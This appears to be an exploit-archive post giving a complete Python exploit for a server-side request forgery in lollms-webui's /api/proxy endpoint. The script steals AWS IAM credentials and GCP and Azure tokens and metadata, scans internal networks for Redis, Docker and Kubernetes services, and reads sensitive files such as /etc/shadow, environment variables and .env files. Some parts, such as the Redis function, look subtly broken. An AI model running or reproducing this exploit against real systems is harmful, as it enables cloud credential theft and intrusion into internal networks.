📄 lollms-webui Server-Side Request Forgery

==================================================================================================================================
    | # Title     : lollms-webui SSRF for Cloud Metadata Leakage and Internal Network Pivoting                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://lollms.com/                                                                                              |
    ==================================================================================================================================
    
    [+] Summary    : This code is an advanced SSRF designed to simulate the security impact of a vulnerable web application endpoint.
                     Vulnerability testing of a target SSRF endpoint (/api/proxy)
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import argparse
    import sys
    import time
    import socket
    import ipaddress
    import base64
    from urllib.parse import urlparse, urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    from typing import List, Dict, Optional, Tuple
    import logging
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )
    logger = logging.getLogger(__name__)
    CLOUD_METADATA = {
        "aws_imdsv1": {
            "url": "http://169.254.169.254/latest/meta-data/",
            "description": "AWS Instance Metadata Service v1",
            "critical_paths": [
                "iam/security-credentials/",
                "local-ipv4",
                "public-ipv4",
                "instance-id",
                "instance-type",
                "ami-id",
                "hostname",
                "placement/availability-zone",
                "security-groups",
                "mac",
                "network/interfaces/macs/"
            ]
        },
        "aws_imdsv2": {
            "url": "http://169.254.169.254/latest/api/token",
            "description": "AWS IMDSv2 (requires token)",
            "method": "PUT",
            "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
        },
        "gcp": {
            "url": "http://metadata.google.internal/computeMetadata/v1/",
            "headers": {"Metadata-Flavor": "Google"},
            "critical_paths": [
                "instance/service-accounts/default/token",
                "instance/service-accounts/default/email",
                "instance/id",
                "instance/name",
                "instance/zone",
                "project/project-id",
                "instance/attributes/ssh-keys"
            ]
        },
        "azure": {
            "url": "http://169.254.169.254/metadata/instance",
            "params": {"api-version": "2021-02-01", "format": "json"},
            "headers": {"Metadata": "true"},
            "critical_paths": [
                "compute/name",
                "compute/vmId",
                "compute/subscriptionId",
                "compute/resourceGroupName",
                "compute/location",
                "network/interface/0/ipv4/ipAddress"
            ]
        },
        "digitalocean": {
            "url": "http://169.254.169.254/metadata/v1.json",
            "critical_paths": [
                "droplet_id",
                "hostname",
                "region",
                "public_ipv4",
                "private_ipv4"
            ]
        },
        "vultr": {
            "url": "http://169.254.169.254/v1.json",
            "critical_paths": [
                "instanceid",
                "region",
                "interfaces/0/ipv4/address"
            ]
        },
        "openstack": {
            "url": "http://169.254.169.254/openstack/latest/meta_data.json",
            "critical_paths": [
                "uuid",
                "name",
                "availability_zone",
                "project_id"
            ]
        }
    }
    INTERNAL_SERVICES = {
        "redis": {"port": 6379, "probe": "PING\r\n", "response": "+PONG"},
        "elasticsearch": {"port": 9200, "probe": "/", "response": "cluster_name"},
        "mysql": {"port": 3306, "probe": None, "tcp": True},
        "postgresql": {"port": 5432, "probe": None, "tcp": True},
        "mongodb": {"port": 27017, "probe": None, "tcp": True},
        "docker_api": {"port": 2375, "probe": "/version", "response": "ApiVersion"},
        "docker_api_tls": {"port": 2376, "probe": "/version", "response": "ApiVersion"},
        "kubernetes_api": {"port": 6443, "probe": "/api/v1/namespaces/default/pods", "response": "kind"},
        "jenkins": {"port": 8080, "probe": "/api/json", "response": "jobs"},
        "grafana": {"port": 3000, "probe": "/api/health", "response": "ok"},
        "prometheus": {"port": 9090, "probe": "/api/v1/status/config", "response": "yaml"},
        "kibana": {"port": 5601, "probe": "/api/status", "response": "version"},
        "spark_master": {"port": 8080, "probe": "/json", "response": "workers"},
        "hadoop_namenode": {"port": 9870, "probe": "/jmx?qry=Hadoop:*", "response": "NameNode"},
        "consul": {"port": 8500, "probe": "/v1/agent/self", "response": "Config"},
        "etcd": {"port": 2379, "probe": "/version", "response": "etcdversion"},
        "cassandra": {"port": 9042, "probe": None, "tcp": True},
        "rabbitmq": {"port": 15672, "probe": "/api/overview", "response": "rabbitmq"},
        "nginx_status": {"port": 80, "probe": "/nginx_status", "response": "Active connections"},
        "php_fpm_status": {"port": 9000, "probe": "/status", "response": "pool"},
    }
    LOCAL_NETWORKS = [
        "127.0.0.0/8",
        "10.0.0.0/8",
        "172.16.0.0/12",
        "192.168.0.0/16",
        "169.254.0.0/16",
    ]
    
    class LollmsSSRFExploit:
        """Main exploit class for CVE-2026-33340"""
        
        def __init__(self, target_url: str, timeout: int = 10, verbose: bool = False):
            """
            Initialize exploit
            
            Args:
                target_url: Target lollms-webui URL (e.g., http://target:9600)
                timeout: Request timeout in seconds
                verbose: Enable verbose output
            """
            self.target_url = target_url.rstrip('/')
            self.proxy_endpoint = f"{self.target_url}/api/proxy"
            self.timeout = timeout
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Content-Type': 'application/json'
            })
            self.discovered_data = {}
            
        def _make_request(self, url: str) -> Optional[Dict]:
            """
            Make SSRF request to internal target
            
            Args:
                url: Target URL to fetch
                
            Returns:
                Response dict or None on failure
            """
            payload = {"url": url}
            
            try:
                if self.verbose:
                    logger.debug(f"[*] SSRF Request: {url}")
                
                response = self.session.post(
                    self.proxy_endpoint,
                    json=payload,
                    timeout=self.timeout
                )
                
                if response.status_code == 200:
                    result = response.json()
                    return result
                else:
                    if self.verbose:
                        logger.debug(f"[-] HTTP {response.status_code}: {response.text[:100]}")
                    return None
                    
            except requests.exceptions.Timeout:
                logger.debug(f"[!] Timeout: {url}")
                return None
            except requests.exceptions.ConnectionError as e:
                logger.debug(f"[!] Connection error: {e}")
                return None
            except json.JSONDecodeError:
                logger.debug(f"[!] Invalid JSON response")
                return None
            except Exception as e:
                logger.debug(f"[!] Error: {e}")
                return None
        
        def test_vulnerability(self) -> bool:
            """
            Test if the target is vulnerable to SSRF
            
            Returns:
                True if vulnerable, False otherwise
            """
            logger.info("[*] Testing vulnerability...")
            test_url = "http://localhost:9600/api/info"
            result = self._make_request(test_url)
            
            if result and "content" in result:
                logger.info("[+] Target appears VULNERABLE!")
                return True
            else:
                logger.warning("[-] Target may not be vulnerable")
                return False
       
        def steal_aws_metadata(self) -> Dict:
            """Steal AWS EC2 metadata"""
            logger.info("[*] Attempting to steal AWS metadata...")
            data = {}
            for path in CLOUD_METADATA["aws_imdsv1"]["critical_paths"]:
                url = urljoin(CLOUD_METADATA["aws_imdsv1"]["url"], path)
                result = self._make_request(url)
                
                if result and result.get("content"):
                    data[path] = result["content"].strip()
                    logger.info(f"[+] AWS {path}: {result['content'][:100]}")
                    if "security-credentials" in path and result["content"].strip():
                        role = result["content"].strip()
                        creds_url = f"{CLOUD_METADATA['aws_imdsv1']['url']}iam/security-credentials/{role}"
                        creds_result = self._make_request(creds_url)
                        if creds_result:
                            try:
                                creds = json.loads(creds_result["content"])
                                data["credentials"] = creds
                                logger.warning(f"[!!!] AWS IAM CREDENTIALS STOLEN: {creds.get('AccessKeyId')}")
                            except:
                                data["credentials_raw"] = creds_result["content"]
            
            return data
        
        def steal_gcp_metadata(self) -> Dict:
            """Steal GCP metadata"""
            logger.info("[*] Attempting to steal GCP metadata...")
            data = {}
            
            base_url = CLOUD_METADATA["gcp"]["url"]
            headers = CLOUD_METADATA["gcp"]["headers"]
            self.session.headers.update(headers)
            
            for path in CLOUD_METADATA["gcp"]["critical_paths"]:
                url = urljoin(base_url, path)
                result = self._make_request(url)
                
                if result and result.get("content"):
                    data[path] = result["content"].strip()
                    logger.info(f"[+] GCP {path}: {result['content'][:100]}")
                    if "token" in path:
                        try:
                            token_data = json.loads(result["content"])
                            data["access_token"] = token_data.get("access_token")
                            logger.warning(f"[!!!] GCP ACCESS TOKEN STOLEN: {data['access_token'][:50]}...")
                        except:
                            pass
            self.session.headers.pop("Metadata-Flavor", None)
            
            return data
        
        def steal_azure_metadata(self) -> Dict:
            """Steal Azure instance metadata"""
            logger.info("[*] Attempting to steal Azure metadata...")
            data = {}
            
            url = CLOUD_METADATA["azure"]["url"]
            params = CLOUD_METADATA["azure"]["params"]
            headers = CLOUD_METADATA["azure"]["headers"]
            
            self.session.headers.update(headers)
            
            result = self._make_request(f"{url}?{requests.compat.urlencode(params)}")
            
            if result and result.get("content"):
                try:
                    metadata = json.loads(result["content"])
                    data["metadata"] = metadata
                    compute = metadata.get("compute", {})
                    for key in ["name", "vmId", "subscriptionId", "resourceGroupName", "location"]:
                        if key in compute:
                            logger.info(f"[+] Azure {key}: {compute[key]}")
                            data[key] = compute[key]
                    
                    network = metadata.get("network", {})
                    interface = network.get("interface", [{}])[0]
                    ipv4 = interface.get("ipv4", {})
                    ip_addresses = ipv4.get("ipAddress", [])
                    for ip in ip_addresses:
                        if ip.get("privateIpAddress"):
                            logger.info(f"[+] Azure private IP: {ip['privateIpAddress']}")
                            data["private_ip"] = ip["privateIpAddress"]
                            
                except json.JSONDecodeError:
                    data["raw"] = result["content"]
            
            self.session.headers.pop("Metadata", None)
            
            return data
        
        def steal_all_cloud_metadata(self) -> Dict:
            """Attempt to steal metadata from all cloud providers"""
            all_data = {}
            aws_data = self.steal_aws_metadata()
            if aws_data:
                all_data["aws"] = aws_data
            gcp_data = self.steal_gcp_metadata()
            if gcp_data:
                all_data["gcp"] = gcp_data
            azure_data = self.steal_azure_metadata()
            if azure_data:
                all_data["azure"] = azure_data
            for provider, config in CLOUD_METADATA.items():
                if provider not in ["aws_imdsv1", "aws_imdsv2", "gcp", "azure"]:
                    url = config["url"]
                    result = self._make_request(url)
                    if result and result.get("content"):
                        all_data[provider] = result["content"]
                        logger.info(f"[+] {provider.upper()} metadata found!")
            
            return all_data  
        def probe_port(self, ip: str, port: int, service_name: str) -> bool:
            """
            Probe a specific port for service
            
            Args:
                ip: Target IP address
                port: Target port
                service_name: Name of service to check
                
            Returns:
                True if service detected
            """
            service = INTERNAL_SERVICES.get(service_name, {})
            
            if service.get("tcp"):
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(2)
                    result = sock.connect_ex((ip, port))
                    sock.close()
                    return result == 0
                except:
                    return False
            
            else:
                probe_path = service.get("probe", "/")
                url = f"http://{ip}:{port}{probe_path}"
                response = self._make_request(url)
                
                if response and response.get("content"):
                    expected = service.get("response", "")
                    if expected.lower() in response["content"].lower():
                        return True
                        
                return False
        
        def scan_network(self, network_cidr: str, ports: List[int] = None) -> List[Dict]:
            """
            Scan internal network for services
            
            Args:
                network_cidr: Network to scan (e.g., "192.168.1.0/24")
                ports: List of ports to scan (default: all service ports)
                
            Returns:
                List of discovered services
            """
            if ports is None:
                ports = list(set([s["port"] for s in INTERNAL_SERVICES.values()]))
            
            discovered = []
            network = ipaddress.ip_network(network_cidr, strict=False)
            
            logger.info(f"[*] Scanning network: {network_cidr}")
            
            for ip in network.hosts():
                ip_str = str(ip)
                
                for port in ports:
                    for service_name, service in INTERNAL_SERVICES.items():
                        if service["port"] == port:
                            if self.probe_port(ip_str, port, service_name):
                                discovered.append({
                                    "ip": ip_str,
                                    "port": port,
                                    "service": service_name
                                })
                                logger.info(f"[+] Found {service_name} at {ip_str}:{port}")
            
            return discovered
        
        def scan_local_networks(self) -> List[Dict]:
            """Scan all local network ranges"""
            all_discovered = []
            
            for network in LOCAL_NETWORKS:
                try:
                    discovered = self.scan_network(network)
                    all_discovered.extend(discovered)
                except Exception as e:
                    logger.debug(f"[-] Failed to scan {network}: {e}")
            
            return all_discovered
       
        def read_local_file(self, filepath: str) -> Optional[str]:
            """
            Read local file via SSRF (using file:// protocol)
            
            Args:
                filepath: Path to file on server
                
            Returns:
                File contents or None
            """
            urls = [
                f"file://{filepath}",
                f"http://localhost:9600/{filepath}", 
                f"http://127.0.0.1/{filepath}",
            ]
            
            for url in urls:
                result = self._make_request(url)
                if result and result.get("content"):
                    logger.info(f"[+] Read file: {filepath}")
                    return result["content"]
            
            return None
        
        def interact_with_redis(self, redis_host: str = "localhost", redis_port: int = 6379, command: str = "INFO") -> Optional[str]:
            """
            Interact with Redis via SSRF
            
            Args:
                redis_host: Redis host
                redis_port: Redis port
                command: Redis command to execute
                
            Returns:
                Redis response or None
            """
            parts = command.split()
            resp = f"*{len(parts)}\r\n"
            for part in parts:
                resp += f"${len(part)}\r\n{part}\r\n"
            url = f"http://{redis_host}:{redis_port}/"
            result = self._make_request(url)
            if not result:
                logger.warning("[-] Redis direct access may require additional headers")
            
            return result.get("content") if result else None
        
        def access_docker_api(self, docker_host: str = "localhost", docker_port: int = 2375) -> Dict:
            """
            Access Docker API via SSRF
            
            Args:
                docker_host: Docker host
                docker_port: Docker port
                
            Returns:
                Docker API response
            """
            endpoints = [
                "/version",
                "/containers/json?all=true",
                "/images/json",
                "/info",
                "/_ping"
            ]
            
            results = {}
            
            for endpoint in endpoints:
                url = f"http://{docker_host}:{docker_port}{endpoint}"
                result = self._make_request(url)
                
                if result and result.get("content"):
                    results[endpoint] = result["content"]
                    logger.info(f"[+] Docker API {endpoint}: {result['content'][:100]}")
                    if endpoint == "/containers/json" and result["content"]:
                        try:
                            containers = json.loads(result["content"])
                            for container in containers:
                                logger.warning(f"[!!!] Container found: {container.get('Names', ['unknown'])[0]}")
                        except:
                            pass
            
            return results  
        def full_exploit(self, scan_network: bool = True, steal_cloud: bool = True) -> Dict:
            """
            Execute full exploit chain
            
            Args:
                scan_network: Enable internal network scanning
                steal_cloud: Enable cloud metadata theft
                
            Returns:
                Dictionary with all discovered data
            """
            results = {
                "timestamp": time.time(),
                "target": self.target_url,
                "vulnerable": False,
                "cloud_metadata": {},
                "internal_services": [],
                "local_files": {},
                "docker_api": {}
            }
            results["vulnerable"] = self.test_vulnerability()
            
            if not results["vulnerable"]:
                logger.error("[-] Target not vulnerable!")
                return results
    
            if steal_cloud:
                logger.info("\n[*] PHASE 1: Cloud Metadata Theft")
                results["cloud_metadata"] = self.steal_all_cloud_metadata()
    
            if scan_network:
                logger.info("\n[*] PHASE 2: Internal Network Scanning")
                results["internal_services"] = self.scan_local_networks()
                for service in results["internal_services"]:
                    if service["service"] == "docker_api":
                        logger.info(f"[*] Exploiting Docker API at {service['ip']}:{service['port']}")
                        results["docker_api"] = self.access_docker_api(service["ip"], service["port"])
                    
                    elif service["service"] == "redis":
                        logger.info(f"[*] Attempting Redis interaction")
                        redis_data = self.interact_with_redis(service["ip"], service["port"])
                        if redis_data:
                            results[f"redis_{service['ip']}"] = redis_data
    
            logger.info("\n[*] PHASE 3: Local File Reading")
            sensitive_files = [
                "/etc/passwd",
                "/etc/shadow",
                "/etc/hosts",
                "/proc/self/environ",
                "/proc/self/cmdline",
                "/var/log/auth.log",
                "/root/.bash_history",
                "/home/*/.bash_history",
                ".env",
                "config.json",
                "config.yaml",
                "settings.py",
                "secrets.py"
            ]
            
            for filepath in sensitive_files:
                content = self.read_local_file(filepath)
                if content:
                    results["local_files"][filepath] = content[:5000]  
            
            return results
    
    def main():
        parser = argparse.ArgumentParser(
            description='CVE-2026-33340 - lollms-webui SSRF to Cloud Metadata & Internal Network Pivot',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python exploit.py -t http://target:9600 --test
      python exploit.py -t http://target:9600 --cloud
      python exploit.py -t http://target:9600 --scan
      python exploit.py -t http://target:9600 --full
      python exploit.py -t http://target:9600 --read-file /etc/passwd
      python exploit.py -t http://target:9600 --docker
      python exploit.py -t http://target:9600 --full --output results.json
            """
        )
        
        parser.add_argument('-t', '--target', required=True, help='Target lollms-webui URL (e.g., http://target:9600)')
        parser.add_argument('--test', action='store_true', help='Test if endpoint is vulnerable')
        parser.add_argument('--cloud', action='store_true', help='Steal cloud metadata (AWS/GCP/Azure)')
        parser.add_argument('--scan', action='store_true', help='Scan internal network for services')
        parser.add_argument('--full', action='store_true', help='Execute full exploit chain')
        parser.add_argument('--read-file', metavar='FILE', help='Read local file from server')
        parser.add_argument('--docker', action='store_true', help='Attempt Docker API access')
        parser.add_argument('--output', '-o', help='Output file for results (JSON)')
        parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)')
        parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
        
        args = parser.parse_args()
        
        print("""
    ========================================
      CVE-2026-33340 - lollms-webui SSRF
      Cloud Metadata Theft & Internal Pivot
    ========================================
        """)
        
        exploit = LollmsSSRFExploit(args.target, args.timeout, args.verbose)
        
        results = {}
    
        if args.test:
            is_vuln = exploit.test_vulnerability()
            results["vulnerable"] = is_vuln
            if is_vuln:
                print("\n[!!!] TARGET IS VULNERABLE!")
    
        if args.read_file:
            content = exploit.read_local_file(args.read_file)
            if content:
                print(f"\n[+] File content:\n{content}")
                results["file_content"] = content
    
        if args.cloud:
            metadata = exploit.steal_all_cloud_metadata()
            results["cloud_metadata"] = metadata
            
            if metadata:
                print("\n[!!!] CLOUD METADATA STOLEN!")
                for provider, data in metadata.items():
                    print(f"\n[{provider.upper()}]")
                    print(json.dumps(data, indent=2))
    
        if args.scan:
            services = exploit.scan_local_networks()
            results["internal_services"] = services
            
            if services:
                print("\n[+] INTERNAL SERVICES DISCOVERED:")
                for service in services:
                    print(f"    {service['service']} at {service['ip']}:{service['port']}")
    
        if args.docker:
            docker_data = exploit.access_docker_api()
            results["docker_api"] = docker_data
            
            if docker_data:
                print("\n[!!!] DOCKER API ACCESSED!")
                for endpoint, data in docker_data.items():
                    print(f"\n[{endpoint}]: {data[:200]}")
    
        if args.full:
            print("\n[*] Executing full exploit chain...")
            results = exploit.full_exploit(scan_network=True, steal_cloud=True)
            
            print("\n" + "="*60)
            print("EXPLOIT RESULTS")
            print("="*60)
            
            if results.get("cloud_metadata"):
                print(f"\n[+] Cloud Metadata: {len(results['cloud_metadata'])} providers")
            
            if results.get("internal_services"):
                print(f"[+] Internal Services: {len(results['internal_services'])} found")
                for svc in results["internal_services"]:
                    print(f"    - {svc['service']} at {svc['ip']}:{svc['port']}")
            
            if results.get("local_files"):
                print(f"[+] Local Files: {len(results['local_files'])} read")
                for f in results["local_files"].keys():
                    print(f"    - {f}")
            
            if results.get("docker_api"):
                print(f"[+] Docker API: {len(results['docker_api'])} endpoints")
    
        if args.output:
            with open(args.output, 'w') as f:
                json.dump(results, f, indent=2, default=str)
            print(f"\n[+] Results saved to {args.output}")
    
        if results:
            print("\n[+] Exploit completed!")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================